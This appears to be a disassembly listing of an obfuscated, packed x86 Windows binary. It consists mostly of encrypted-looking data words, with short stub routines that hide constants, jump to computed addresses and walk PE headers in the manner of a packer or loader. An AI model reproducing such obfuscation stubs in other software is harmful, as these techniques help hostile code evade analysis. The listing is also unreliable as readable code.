		dd 87E9DA4Dh, 41D1B670h, 4FF5E17Dh, 8D6B1CB5h, 33D1C142h
		dd 8FACA4CAh, 5C976642h, 0A033A010h, 0FEDCAA72h, 0F01428AAh
		dd 28446C57h, 0D55E96AEh, 23D807EBh, 0A031CA5Eh, 96549F7h
		dd 0F7D034CEh, 58EAE890h, 0BBDFD258h, 63EE0817h, 0A15373C2h
		dd 9F673F0h, 0D36F18A9h, 60F2C2FEh, 0A66EFB51h,	43EF8DFAh
		dd 295AF27h, 63CB736Eh,	442818C2h, 0EDA37889h, 0B370892Ah
		dd 0EBEE7720h, 46A32F4Bh, 40477C88h, 6F9A1C4Dh,	6F607002h
		dd 5EA26EBh, 758F442Ch,	1C55522h, 97B30000h, 8292053Fh
		dd 0E2626E12h, 0D0E78922h, 82159E56h, 7A95B76h,	43693EB7h
		dd 0C2D548D9h, 6F565E3Ah, 8DDF52FBh, 24B2CEB9h,	13BCA020h
		dd 42DEA6F1h, 9F750472h, 0E8AFDD7Bh, 5D4FF710h,	0A3282CAh
		dd 0FB01D1F7h, 4EA430F9h, 0FDFB8CDFh, 0AAB91DD2h, 3CA5D71h
		dd 0FE06D2AEh, 458FEBD5h, 823ECCBBh, 0D3FCF5DEh, 0C962A231h
		dd 9A17C2BEh, 26FF053Fh, 0D48B139Dh, 467A414Fh,	0B1556272h
		dd 0A4A74E10h, 11AD89F3h, 5D71BEE5h, 5B8B17CAh,	77D1C871h
		dd 877B0CB7h, 6408A8B1h, 10B0D769h, 0DC6624ACh,	3CAD6A5h
		dd 5DCBC0DFh, 3B8819CAh, 0DDA6A44Ch, 0FABD257h,	63BABCE3h
		dd 0FB8C15C2h, 6C735F3Fh, 0C5C263BBh, 0A27411FDh, 1BA83F6Eh
		dd 1BAEF2A9h, 4CF0B83h,	933A0BCh, 502C147Eh, 0F2187FB9h
		dd 3DC71068h, 8A462A86h, 7292AC27h, 410AEAD9h, 7E466A56h
		dd 820B0B78h, 0CFA9EE75h, 0CA6144AEh, 6A3A764Bh, 0A16F2FC4h
		dd 56623576h, 8A3A6A3Ah, 0A6ABE6E5h, 0BA379FE1h, 0FD24D019h
		dd 56BA6688h, 634D764Dh, 89849B47h, 0D4DDBA66h,	436747C3h
		dd 6689809Fh, 0BFC8D9BAh, 0F8DC15C1h, 0BA6688E9h, 4F627142h
		dd 0CEAF9180h, 0BEDEFB55h, 0FF000004h, 93DB27D1h, 0F10D053Fh
		dd 0CEB260DAh, 0EB13FF05h, 23B161E3h, 7F855103h, 0DF616B93h
		dd 80824B33h, 0E1636E92h, 0AE1AA631h, 0C25B00B7h, 0D2A67610h
		dd 0D11EAD04h, 2FF8FC06h, 0ED912FA4h, 9A262E0h,	502C147Eh
		dd 8F337D87h, 0CA5E2490h, 0D1AFD8E9h, 0B89BFD06h, 4691182Ch
		dd 0BB17337Dh, 6AA8381h, 5E21C3E2h, 871CCAh, 1026AE92h
		dd 82B85315h, 0D2110394h, 97B3FD07h, 3829063Fh,	490F1BACh
		dd 0E6B17A7Ah, 7632821Eh, 0EA609126h, 402241A5h, 267BCA5Dh
		dd 0C30EEA9Dh, 0A460E4EEh, 0A8F8B80Bh, 2BA49DD1h, 0D7C8AB19h
		dd 47E7A3F4h, 8D479423h, 0BB89173h, 493760E9h, 38B1218Eh
		dd 665D669Eh, 88A9264Ah, 5DA3455Ch, 0BE159ECAh,	621A6D46h
		dd 0F7EEDAB6h, 50CA5DA2h, 6CEE1483h, 0C143FD0Ch, 0CDD5DBE8h
		dd 39810E90h, 0D2725EA6h, 5D2A9932h, 775B3F5Bh,	0CA5DDE68h
		dd 0EAF9DDC1h, 43CA5DDDh, 0BE32656Eh, 0D25813ACh, 777855F9h
		dd 0C962A25Ch, 6631FAFAh, 2ADAF45Ch, 9F331799h,	81069F65h
		dd 0F3C0D703h, 5B992AE4h, 0C6AA547Fh, 4AFCF80Ch, 0B53320BBh
		dd 0D96B6509h, 84B437AEh, 9E56EEE8h, 5B768215h,	6A6307A9h
		dd 63E98D8h, 0D83265EEh, 0ED7EC8D8h, 0A009E065h, 314513F7h
		dd 64189EC5h, 1AAAF7C2h, 17451CFAh, 4AC178Ah, 2FD56F68h
		dd 6B4FF196h, 4FE89263h, 0AFD82404h, 5D4F7B49h,	48AC10CAh
		dd 0BA694419h, 8C366172h, 0A5BEAE4h, 0E92AD7D2h, 0D2EEE5EEh
		dd 29DB0AEEh, 0E4F2BA69h, 46516260h, 517EE2BEh,	3994E4B3h
		dd 0CE818B4h, 8C309043h, 692A3968h, 564192BAh, 0FD07D2AEh
		dd 51F3DBF7h, 2EAD24B3h, 3915C921h, 88BA15A2h, 0A7F0E36Ch
		dd 931B1BBEh, 53DA2F7Dh, 986A1D2Bh, 93F7B9C2h, 4793DA0Bh
		dd 2CE033Dh, 32C6D102h,	0C263B694h, 798B4529h, 0F08C340Eh
		dd 0F985CE4h, 6FABBAE9h, 15BE13B2h, 214423ABh, 2B140681h
		dd 4F31A29Ch, 0AE777D87h, 8A4529E9h, 3A683878h,	0BF458DABh
		dd 2302C315h, 502C0874h, 667D6984h, 0BFB26F25h,	8A23E1F2h
		dd 0DDD2FBFDh, 408053F1h, 5A7EB31Ch, 0B26F254Bh, 0D3C40FA4h
		dd 83814D29h, 0B57A5581h, 6F251211h, 6D566BB2h,	9A51C887h
		dd 0DB7F1BBDh, 1FA74DF7h, 3FB1E67Ch, 46C57A8h, 7B6235CFh
		dd 577CE060h, 339EDAADh, 6C5C1112h, 1CA7EAF9h, 921FB894h
		dd 6B44C044h, 0D4009C58h, 0B26F90CDh, 61269D26h, 45B10DB1h
		dd 0B26F911Eh, 255D2A77h, 689A3393h, 0DDF9555Bh, 3C606027h
		dd 916D7460h, 0FDC6B26Fh, 0C5C4E68Ah, 6D11BA69h, 7B3E45Eh
		dd 7E5AF6BAh, 5743C1C6h, 5B908F33h, 0D8E9AA75h,	0A906D1AFh
		dd 0EF29C029h, 1D1EFE4h, 0A685EB0Ch, 0A3612635h, 20E41EB7h
		dd 9F659F34h, 3B18D30Ah, 715D019Dh, 0C219C4D3h,	51F3DE82h
		dd 956D1AB3h, 203FA3C3h, 79AA7606h, 79159B28h, 7606564Dh
		dd 7522AFAAh, 97D7E7C3h, 0DC3D5C88h, 0C5ECB90Bh, 6F6FCFF5h
		dd 10565028h, 0C7A3B270h, 98A2F50Fh, 0DD09A50Bh, 0A27BA5C6h
		dd 0A6AAB91Dh, 0AE03A27Bh, 3AD8BF14h, 0B31E7A40h, 0E9DA7391h
		dd 0E0FFE3C7h, 39A27BA5h, 7D211F68h, 0A6AEB521h, 0BA07A27Bh
		dd 9F9823CDh, 93B7AA7Eh, 12EE0638h, 1863DC7h, 8FB51D41h
		dd 6DE8DC75h, 0A2E414BDh, 4B2F9142h, 6C187F81h,	0D5C900D0h
		dd 77D68140h, 48E5F010h, 7881859Ch, 48D6DE9Ah, 0FDBC2B31h
		dd 0C8E8DBE8h, 5EABD7F8h, 75225E50h, 0F1FED915h, 49675CE6h
		dd 921B0979h, 653284D8h, 0A7EF3397h, 6980ED79h,	0A82955AFh
		dd 62DA7292h, 7462DDEh,	0FBDE5776h, 0C8E49C4Eh,	776C051Ch
		dd 42555E47h, 5C00409Bh, 9B34D070h, 6CB2B115h, 0B60B4777h
		dd 0C724AFD1h, 0E0E0F30Dh, 6C0918BCh, 51624777h, 0C8E4CC46h
		dd 776C051Ch, 0D5025E47h, 5F3A42Fh, 0A2C125CAh,	0FB47776Ch
		dd 0F7931DA6h, 776BD4CBh, 0F3A42D47h, 0CB646D89h, 776BF827h
		dd 53805147h, 7EA5516Dh, 0D747776Ch, 0E284F5CBh, 32A1EDE7h
		dd 2CBB9765h, 0EDE612F2h, 0D9EC9D57h, 2DD70202h, 29E4296h
		dd 7736CFD6h, 0A3C22647h, 0FC477737h, 0D1B60BA7h, 965D514h
		dd 0F6CF35CFh, 0C7646F91h, 7737041Bh, 68775B47h, 0C1477737h
		dd 0D201D2F0h, 0FC49E6EEh, 3BF8CD0Ch, 5E02BE4Ch, 9831D371h
		dd 3CC611EFh, 43FDD874h, 0E59FE8C1h, 1CF8h, 0C3881800h
		dd 19C92A04h, 1270A4F3h, 25DF656Eh, 0C25EFB8Ch,	178A7CF2h
		dd 63345DF0h, 0FA02D231h, 51F3DEFAh, 0F40EC7B3h, 58E8E410h
		dd 0EE16C09Ch, 58ECEA16h, 0E913C09Ch, 5ED8EF0Bh, 0E418BAA6h
		dd 54537220h, 4C3815Bh,	83000000h, 1C8704EBh, 89525C24h
		dd 4C281E2h, 83000000h,	148704EAh, 4895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 802FB0Dh
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	10C4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 8
		add	ecx, ebx
		push	eax
		add	dword ptr [esp], 7DE70B11h
		pop	dword ptr [ecx]
		sub	dword ptr [ecx], 7DE70B11h
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dw 0F1DDh
		dd 5B6EFD72h, 10221DBFh, 0B8DE44CAh, 80329B6h, 0E0FFC503h
		dd 36A9969h, 1D2D8155h,	42BF1A02h, 295FDA25h, 5226D25Ah
		dd 24B6F5F2h, 1CDD08C7h, 53113719h, 54C81CF8h, 2206F4D5h
		dd 3907C45Ch, 26FD27EAh, 7F0BEB5Ch, 287A3CF1h, 393D2F43h
		dd 57E1E1C3h, 6EF5E84Ah, 491B9047h, 49889D33h, 182C8476h
		dd 52D75D86h, 36C2F24h,	630B6346h, 53CAE8A3h, 0B6BD193h
		dd 2F3F0614h, 12E8h, 0A1C69500h, 91DEBF06h, 0C7EDB290h
		dd 5D16051Ah, 81EF93ACh, 1F6AC6DBh, 830F587Fh, 5, 6EDF8166h
		dd 0FBC081B9h, 0BB000072h, 425247F9h, 68h, 0FFB70F00h
		dd 234FF5Ah, 0DE9h, 0D328A000h,	4F2E7163h, 98C6702h, 0E859EDD9h
		dd 0Ah,	2C6585B0h, 0A4489668h, 0CE8F5C3h, 3E000000h, 0FEB3217Fh
		dd 5789B069h, 0F9FC54C2h, 0E9815F5Bh, 3A8B0901h, 81DAB70Fh
		dd 48F965C1h, 0F3B70F38h, 6820E981h, 0AE90953h,	0A3000000h
		dd 93501008h, 1EFD6233h, 100C891Ah, 11E9h, 0A3DCEA00h
		dd 0D70DD061h, 1AA84F34h, 6D06EF80h, 0EE836E2h,	0FE000000h
		dd 3A747h, 9974702Fh, 0F4B48549h, 835FF93Ch, 8D0F01EAh
		dd 3, 4AF8BF0Fh, 8A0F4A4Ah, 0
		dd 8DE8FA81h, 850FFFFFh, 0FFFFFF51h, 12E8h, 0A55DF900h
		dd 4A14B95Dh, 5A3A2E62h, 35D7D491h, 0F945573h, 8B5ECFB7h
		dd 0E7C681D7h, 0E9000074h, 8, 34821C95h, 0BBB46248h, 1CFFBBh
		dd 14830F00h, 0E9000000h, 0Fh, 166DB210h, 0FE92EC35h, 2E4F8A3Ah
		dd 8B60F2FDh, 0F3B9663Eh, 9CEF8104h, 0F498648h,	585h, 19ACB900h
		dd 0EF812376h, 1DB5CC41h, 0DE9h, 70A25400h, 99E188A1h
		dd 2986A5BCh, 0C781D0F0h, 5CCFFBA7h, 5E8h, 0A9F39300h
		dd 0C68B4074h, 0E83E8958h, 8, 0C600A4E7h, 0B9040A6h, 9BEE8158h
		dd 8A317F70h, 97C681F4h, 57317F70h, 0D73EB866h,	1EB8359h
		dd 1A850Fh, 5E90000h, 0A000000h, 0E68B091Eh, 27E9h, 3382A00h
		dd 0C89597E3h, 64884E0Ch, 0E9CE8B66h, 0FFFFFF6Fh, 3D88C08h
		dd 4F245543h, 1A9B1498h, 240431F1h, 0E42DC31Ch,	6E8h, 0B9B0B900h
		dd 60EC0E61h, 690CE081h, 59612EC5h, 2CC181F8h, 51000059h
		dd 5BC38B66h, 0B866F633h, 3C8B3FDEh, 12E931h, 76E20000h
		dd 7ABF02B7h, 1C384D28h, 99996497h, 0A1667E84h,	0B085C781h
		dd 0BF0F08DFh, 51C781D3h, 0F6227F9h, 38Ah, 0F9CF8000h
		dd 48C4F781h, 8B660912h, 810F57C2h, 1, 31048FFCh, 1C64BA60h
		dd 6660476Ah, 0BFF0E3BEh, 0AE02BB3h, 0A3B36161h, 6604EE83h
		dd 0FE81D08Bh, 0FFFFA76Ch, 0FF94850Fh, 0AE9FFFFh, 8A000000h
		dd 0E5FF8BF0h, 6F01CFh,	2CE9DBh, 93190000h, 627Bh, 9 dup(0)
		dd 0B7E90000h, 68000009h, 8032FB7h, 0F75167E9h,	307E68FFh
		dd 5DE90803h, 68FFF751h, 80333A0h, 0F75153E9h, 718B49FFh
		dd 0CF755DA1h, 72AC3B43h, 0C97360A0h, 6B993539h, 0CF85AD97h
		dd 0E905FD07h, 0C1BD55EFh, 0DC24EE14h, 14C34FF1h, 0F7253CA8h
		dd 0E87EC25Ah, 0EBCE6838h, 5EB7BE75h, 6E126339h, 8A23E163h
		dd 975DD7E6h, 5F77890Eh, 777D8752h, 0BF9B25AEh,	0DF9DEA14h
		dd 746B5733h, 0CDCA5E24h, 6A659304h, 0F6D62DD9h, 279C20FAh
		dd 7E8E589h, 63A132CCh,	3B4DBDCAh, 0E9E5899Dh, 0E810995Bh
		dd 0CA5DEBB9h, 0D59F9624h, 9C165A36h, 0ACF4BC07h, 0DA4B651Ch
		dd 0FFC1C600h, 57DC31D3h, 36A2BED2h, 535DF60Eh,	6371706Fh
		dd 8FF8C9C2h, 0FE00CBB3h, 0DBE3EBD5h, 0AF909841h, 6753B1D6h
		dd 4E39CB03h, 638577AAh, 93B96C2h, 3AC40FEBh, 788FF1BAh
		dd 404546BEh, 6E4AACA9h, 0C341FB12h, 29C09DEAh,	65CC8919h
		dd 2C6B0C35h, 0C93B2A5Bh, 458D026Fh, 140C310Bh,	62158233h
		dd 63Ah, 1428AAC6h, 6C3057F0h, 1B4AAE12h, 74CA5E24h, 2479A84Ch
		dd 1D2CA5Eh, 35F8C5D2h,	35454B53h, 2ABBA1Eh, 0AF04CA5Eh
		dd 0E70FA725h, 0CCD06AA0h, 8CC059D1h, 6F518214h, 0B878A74Bh
		dd 0EDD1CA5Dh, 5DB7DA09h, 359E33CAh, 0B838678Bh, 4091CA5Dh
		dd 29456957h, 6C9440A9h, 6C83057h, 83D257CEh, 0D5FEEBE7h
		dd 47F3A42Fh, 0A404177Bh, 0FFD4EE96h, 74C45602h, 4D31BFC9h
		dd 0AC857F85h, 70AA2918h, 455236BCh, 775B7B3Dh,	0C4FEB968h
		dd 0DDE3F0C1h, 0B90E15C1h, 5B67C4FEh, 5DC93EFCh, 0F28E4549h
		dd 893760E4h, 571A9D25h, 404F946Bh, 876D9740h, 251FD9BEh
		dd 34CCF880h, 5182824Ch, 6B6307B3h, 0FEDCAED9h,	0BF6E80FEh
		dd 0F7DBE913h, 0B010C39Dh, 0FEB4AC44h, 1CDDE5C4h, 342DED3Dh
		dd 83A93DDh, 0F7DBC37Fh, 0B50A30E8h, 5D637041h,	9C7FBB55h
		dd 583FE2F1h, 6A7C4468h, 59D7F930h, 8D48385Fh, 818DB420h
		dd 0EC90F244h, 862A992Ah, 4EA7BE2Ah, 0B300B50Ah, 268A26E4h
		dd 70788C4Ah, 0B50A4E71h, 728EF9CAh, 0B4488A67h, 554C7750h
		dd 0D40B9D32h, 0B51441A3h, 1B000006h, 77778BB5h, 8D71A15Bh
		dd 324EC47Eh, 87679BA1h, 775DB54Fh, 3BC9054Fh, 132DA7C7h
		dd 2CD6FFFFh, 53F9AD6h,	52764A0Dh, 0C25AF553h, 12CACAACh
		dd 6D3472C2h, 0A6F1A041h, 9ED6D664h, 54598168h,	1FB4507Eh
		dd 20B00CB4h, 0EF012ECAh, 58206777h, 0D260E083h, 39F30A66h
		dd 95A5F2BBh, 85D6CDF9h, 0A22FC25Ah, 4F2B8F31h,	0B0797B85h
		dd 0F43D99E7h, 86352C98h, 458EC25Ah, 5A86ACB3h,	7BC05C2h
		dd 9E6B33FBh, 0D75D4B90h, 94423E49h, 9E6A795Dh,	0EEC3C25Ah
		dd 0D7731FE5h, 93BF45FFh, 0CDBA093Bh, 5A9DF723h, 0DBF458C2h
		dd 764DC7D6h, 96E2B57Eh, 0D3D2F63Bh, 2CC25A9Dh,	8752C97h
		dd 0CDC6BB4Dh, 5EE8673h, 7C540000h, 0A0324EC4h,	738A669Ch
		dd 0AC2549B9h, 4A846C96h, 547E48BAh, 0E42ED600h, 210309Ch
		dd 0DF33D1FEh, 0F80A349Fh, 58876B51h, 0B1C25AF4h, 6E12BFD3h
		dd 0CDB5E262h, 672BFF0Bh, 8183BD4Ch, 0FC3A1CA8h, 51753B88h
		dd 0D261168Ch, 3FC10B6Fh, 0C8066A58h, 8529873Ch, 5ABC4261h
		dd 81069BC2h, 99331703h, 0D3C48D67h, 5ABC021Dh,	8FB421C2h
		dd 6730FBDBh, 0AE467D59h, 87FD00D2h, 314118AEh,	4B83C87h
		dd 15F15E7Dh, 788A4529h, 2CB8B47Ch, 13C84FD7h, 0CB0ED7C0h
		dd 39C30F6Bh, 36619B37h, 96A20657h, 394990Dh, 53F70000h
		dd 0A22BC97Bh, 7D21FF5h, 36C52CAAh, 0A42FF8FCh,	0A7597460h
		dd 844F844Dh, 8EB6203Ch, 52AADD76h, 8946AB26h, 23B0797Bh
		dd 0CED5019Dh, 27CA5E23h, 0A19DED9Ah, 10F42EBDh, 24A1C024h
		dd 0A9FACA5Eh, 0C3956D1Ah, 7C56FAB6h, 9D01BFC8h, 9DEA10C1h
		dd 583A99D3h, 0D9FA56D2h, 0A4C96524h, 487BB13Dh, 394AC28h
		dd 0BD56B37h, 0BFF39882h, 0E9DAE913h, 0E0FFE3C7h, 39C263AAh
		dd 0B9651F68h, 0B80C0695h, 0F01EC817h, 9B5542A9h, 0C2637580h
		dd 0EB09339Fh, 0BC28C50Fh, 0C26375A5h, 0E61EB5FEh, 0F8559451h
		dd 923E22FEh, 0A1382572h, 0EF14BDA1h, 4E298E94h, 0A74D7613h
		dd 0C594791Eh, 97026F11h, 8BD0CFF3h, 8529C263h,	638C4261h
		dd 0BD069BC2h, 772DCAh,	438B0000h, 3B48274Bh, 0A676212Bh
		dd 2EAAFEDCh, 2B55DE16h, 8A269DA7h, 2B5CE8E6h, 85A1318Dh
		dd 273EAA2Bh, 80CA5DF7h, 0FFD2A133h, 2342A60Ah,	7CCA5D71h
		dd 0BA986027h, 0AFD257A6h, 30103CBh, 545D5D2Ah,	3C213CB0h
		dd 9240C263h, 606E8A6Ah, 528B20E4h, 5C3CBA97h, 5B2CD400h
		dd 0B5A46782h, 7026F6Dh, 0E0509B7h, 583F1ACDh, 19AA7h
		dd 6C650900h, 2951ED6h,	4AAE1212h, 0CA5E241Bh, 48385F74h
		dd 89B3208Dh, 0C3DA763Ah, 0B47BC94Ah, 4F84CF66h, 0BCE0BC48h
		dd 5DE50918h, 835162CAh, 0D2199F9Ch, 8B6D1A6Eh,	0D0616E43h
		dd 5DCCFD24h, 764D56CAh, 0DB5B634Dh, 8FE2A8B5h,	0D9057F08h
		dd 5FE5F1FEh, 0A2304C74h, 6F7E5A9Ah, 4D764FB5h,	0CED6C23Ah
		dd 85EB8DF8h, 1A663194h, 0AE1F86BFh, 5B8334A2h,	5D3B6877h
		dd 0E3F0C1CAh, 1900D0F0h, 8EE4900Bh, 0BBD6AF3Bh, 1CE5B409h
		dd 3B1F1F6Bh, 51277092h, 0CA5DA12Ch, 2123ABCFh,	3B3D4AE3h
		dd 6E526E90h, 5D975B8Ah, 781FB4CAh, 0A33A161Ah,	43AF8B69h
		dd 0CA5D971Ch, 19972C75h, 5D97B6ADh, 0D5C20FCAh, 2CB2BADh
		dd 96DA09EDh, 9E33CA5Dh, 7E229E35h, 5D974B5Ah, 880FA4CAh
		dd 5E78D4B8h, 4B17E1A6h, 1CD25AD4h, 5A4D5480h, 1DA6C260h
		dd 8CF0D06Ah, 6942C242h, 605A607Fh, 0DBE8B9C2h,	66A7CDD5h
		dd 3982F398h, 0C00E724Eh, 0B4207C44h, 0C26047ADh, 40CABD06h
		dd 0AF453080h, 0D133CD08h, 1158CCF8h, 973F4146h, 4F84B81Ah
		dd 0B4D01762h, 7966BEC6h, 2CCh,	689AA232h, 60B24A88h, 838F8920h
		dd 56AC567Bh, 7A88BC1Ah, 2CAAAACCh, 0CA06EA18h,	2FA8C83Ah
		dd 0D601FD15h, 0CDF3D62Ch, 5AF0FA29h, 613153C2h, 0E55F6E12h
		dd 0BE2A861Fh, 0CA5E24A7h, 94E4B300h, 0D4CBF73Ah, 2DCA5E23h
		dd 41912FA4h, 8D617A68h, 0B85245ECh, 2FE31DB8h,	98C72B8Fh
		dd 0F1CA5DFFh, 12E5B7E0h, 49409C2h, 14836A05h, 9F58E9E4h
		dd 3BC1127Bh, 3309CB89h, 8084BE4Dh, 3CD81CA7h, 758F8920h
		dd 2CDABDCh, 522E1200h,	0AC857F85h, 911A7DBh, 8594972Bh
		dd 0D0F0E314h, 0BD4790ECh, 674E26CAh, 6307D258h, 0F7C3D46Eh
		dd 0BD1B90ABh, 844F753Fh, 0F90D743Ch, 6C4F3EACh, 95411D1Bh
		dd 0A42D516Fh, 0CD99F99Eh, 0C26342D2h, 0CC09E6F1h, 0DEF5BE36h
		dd 0B3527EE2h, 2C68A34Bh, 301D2DAh, 9142FCD7h, 8A48C06h
		dd 1ED66E64h, 0BC3C6395h, 7E53C263h, 0E2B5FEC4h, 0CDF93896h
		dd 0C263BBD6h, 8F31A22Fh, 0FA31053Fh, 0B5E28258h, 0C20F6B47h
		dd 0A4F3BC38h, 1B353h, 0C2129100h, 0DDBD6CC2h, 0B735EE96h
		dd 7954D3E8h, 73453D4Ah, 355E9067h, 1CEF101h, 9B280103h
		dd 88248828h, 5D83455Ch, 82159ECAh, 60B02DEEh, 507418D2h
		dd 0C25A5651h, 0D46E19AAh, 0B0231DACh, 0DE666C10h, 82FA8D26h
		dd 0F2350E96h, 99CF72A8h, 6D570F0Fh, 0A551A3B4h, 0C25ABA7Eh
		dd 8EF9CAD7h, 498A6772h, 5F4240B4h, 8152759Eh, 0A6526E52h
		dd 0C25A727Fh, 7D6BCCD8h, 1D48535Ah, 8D31E1A6h,	9A9EC531h
		dd 0AAF7C25Ah, 0E309BDDh, 0D23122B2h, 7E4AD06Ch, 839DA056h
		dd 0E3B45438h, 0B5217D19h, 0C25AB0AEh, 23CDBA07h, 2CD35446h
		dd 10F40EC9h, 9B59EBE4h, 5300DBEAh, 4E83E797h, 0DFFAE3B4h
		dd 268AB41Fh, 2FD4DC9Eh, 165A8646h, 0E0698BB9h,	0F7535BB7h
		dd 897720DAh, 0CE74614Eh, 0E8DF06F2h, 6B3857E1h, 0D9F45858h
		dd 0E9B1B014h, 0B90A57E1h, 13FF7D0Ah, 18B6AB8Bh, 0A43070EAh
		dd 890C4CCDh, 7090F765h, 0BC488663h, 0DC5A907h,	0D91B15A4h
		dd 68148350h, 42C2428Ch, 688CB816h, 9EAB2EB7h, 0C50E964Ah
		dd 0E9D038D5h, 3C3A77D7h, 0DB6BAA8h, 0F808E37Ah, 159D23DDh
		dd 14C0C173h, 57E2240Dh, 22675D66h, 0A95B7328h,	211D6D1Ah
		dd 0F44A597Dh, 0EA357E1h, 0F41F46B2h, 2B7857E1h, 8FB11C5Ch
		dd 83814D31h, 0A346A981h, 0E966556Fh, 634FADDAh, 0F1DDCA07h
		dd 0E8178053h, 38h, 9B952448h, 3D4AF8D5h, 0B3C21257h, 62B7AEEDh
		dd 0B14B87E9h, 4C0D7A53h, 7CC40CB0h, 0DCDF7BD6h, 91667D6Bh
		dd 32D1CA5Dh, 43C50BF2h, 94409131h, 0E3664907h,	22F2A514h
		dd 0FAFA02D2h, 0B351F3DEh, 10F40EC7h, 9C58E8E4h, 16EE16C0h
		dd 9C58ECEAh, 0BE913C0h, 0A65ED8EFh, 20E418BAh,	2E276872h
		dd 3C890000h, 4EC8324h,	51241489h, 0C181E189h, 4, 4E981h
		dd 0C870000h, 34895C24h, 55BB5324h, 0BA44A328h,	0BC6D1C22h
		dd 815BDA01h, 854782E2h, 0AAF28168h, 0C1198D01h, 0EAD106E2h
		dd 8777EA81h, 8B5429A5h, 0C4832434h, 0D5895504h, 8B086E89h
		dd 0C481242Ch, 4, 5724348Bh, 0C781E789h, 4, 4C781h, 3C870000h
		dd 34FF5C24h, 0C4815A24h, 4, 0F747C7E9h, 67B5A9FFh, 0EE6E4679h
		dd 986D7434h, 91B80CA2h, 3080336h, 0D3E0FFC5h, 9768B9BEh
		dd 85422B45h, 0F26FBA1Bh, 0D877395Ah, 0F95E1017h, 92108D38h
		dd 0C9378F16h, 0D91C2266h, 2D65152Dh, 0D219FF09h, 8D483A72h
		dd 338538Dh, 0C18D8908h, 6A07FA27h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 226C352h
		dd 0EDD65F18h, 8E8A3h, 9EB20000h, 0DB0183F7h, 85890D59h
		dd 7FA0239h, 185C75Bh, 1407FA1Ch, 6A00005Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 4553C350h, 0B52BEADDh, 7FA060Dh, 1AED85C7h, 7FAh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 437267C3h, 9E2AF47Ah, 0B5FF1EFFh, 7FA1855h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1C35646h, 53D38B13h
		dd 759B529h, 0FF5E07FAh, 0FA177D95h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0A77E27h, 433302E3h
		dd 95FF006Ah, 7FA012Dh,	3DEBC08Bh, 0A50E582Ah, 74D7100h
		dd 0E75AE8E7h, 0DF445105h, 0C7E93D30h, 0E7F65D6h, 6C192322h
		dd 0D8E90424h, 533774B6h, 0B87AAF53h, 58208AA5h, 37918F84h
		dd 97424EE6h, 760CD07Ah, 0DEC991A9h, 0AE87Bh, 31A70000h
		dd 664492E2h, 5FD54D9Fh, 2DD958Bh, 665E07FAh, 9A9AD281h
		dd 6702C681h, 0BD890000h, 7FA1EC9h, 0D19990B8h,	11C08175h
		dd 668A2E80h, 0F319D281h, 9D893E8Bh, 7FA183Dh, 0D5D8EF81h
		dd 0BA66168Fh, 0EF81CD6Bh, 49D7B273h, 28119D33h, 0C78107FAh
		dd 7EBB3C8Eh, 3E8969B6h, 34A98D01h, 0EE8107FAh,	513FB580h
		dd 0B57CC681h, 820F513Fh, 3, 48D78B66h,	0FFB6850Fh, 8501FFFFh
		dd 7FA06D9h, 10E8h, 0AE268A00h,	0BD9460A5h, 0C401A237h
		dd 83F19C39h, 0D781665Bh, 0B5A36E6h, 0FA26B98Dh, 0E5C28107h
		dd 8B00006Ch, 0FA1CE98Dh, 29C03307h, 0FA0C099Dh, 2348B07h
		dd 0C681F88Bh, 56A9D7Eh, 9979BF66h, 7B88F681h, 0F5061ABh
		dd 28Eh, 59616000h, 65B4EE81h, 0EF811824h, 480F5A55h, 0F023489h
		dd 683h, 5BD2B00h, 0FC07FA1Fh, 8102E883h, 51C1CFD9h, 0E8484851h
		dd 0Ah,	9D4C14EBh, 0AD7B38B2h, 6E877DEh, 63000000h, 0A6044B5Fh
		dd 5FCB8B26h, 0F0F8815Bh, 0FFFFF93h, 1A85h, 38C0F00h, 0F000000h
		dd 2BE9FFB7h, 0B5000000h, 673F83F5h, 34125BE3h,	1681BD8h
		dd 0FA07F9B5h, 0FF6BE907h, 0CB53FFFFh, 0D90C0939h, 0FA9F1D0Ah
		dd 179651C7h, 82C85B21h, 0BE8A528h, 0ED000000h,	0B47740A3h
		dd 0F2C0167Eh, 852308C5h, 7FA24C1h, 0CE95Fh, 1F020000h
		dd 0FDD9B978h, 0AB40C783h, 0C7818E18h, 6774h, 9BFCEA81h
		dd 0BBE59DBh, 812DED6Ch, 0ED75BCF6h, 4FC2812Dh,	8B4DD0C8h
		dd 0C381F51Fh, 3686E5DAh, 292D8533h, 0F38107FAh, 50CF7FF8h
		dd 0DBBF181h, 0C3814743h, 6B0C3D1Ch, 8C0Fh, 50530000h
		dd 8F58CA8Ah, 83E3B607h, 958901EFh, 7FA0389h, 894F4F4Fh
		dd 0FA198D8Dh, 1EE8107h, 0F000000h, 0FFFFB285h,	8820FFFh
		dd 53000000h, 0A318D89h, 8B5A07FAh, 0D1BD83C0h,	7FA16h
		dd 0BD830975h, 7FA3535h, 50197400h, 0B8C08B53h,	421h, 1E2D8589h
		dd 9D8D07FAh, 7FD3FDAh,	585BD3FFh, 3535BD83h, 740007FAh
		dd 0B8535017h, 421h, 1E2D8589h,	9D8D07FAh, 7FD3CC9h, 585BD3FFh
		dd 9D8BC08Bh, 7FA1E4Dh,	157185C6h, 685607FAh, 9CA8B852h
		dd 1E8DB5FFh, 858D07FAh, 7FE3A58h, 46AD0FFh, 100068h, 0C5B5FF00h
		dd 6A07FA04h, 85D0FF00h, 0D850FC0h, 0B8000000h,	0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+7FA72BFh]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	ecx, eax
		mov	eax, ebx
		add	eax, [eax+3Ch]
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ebx
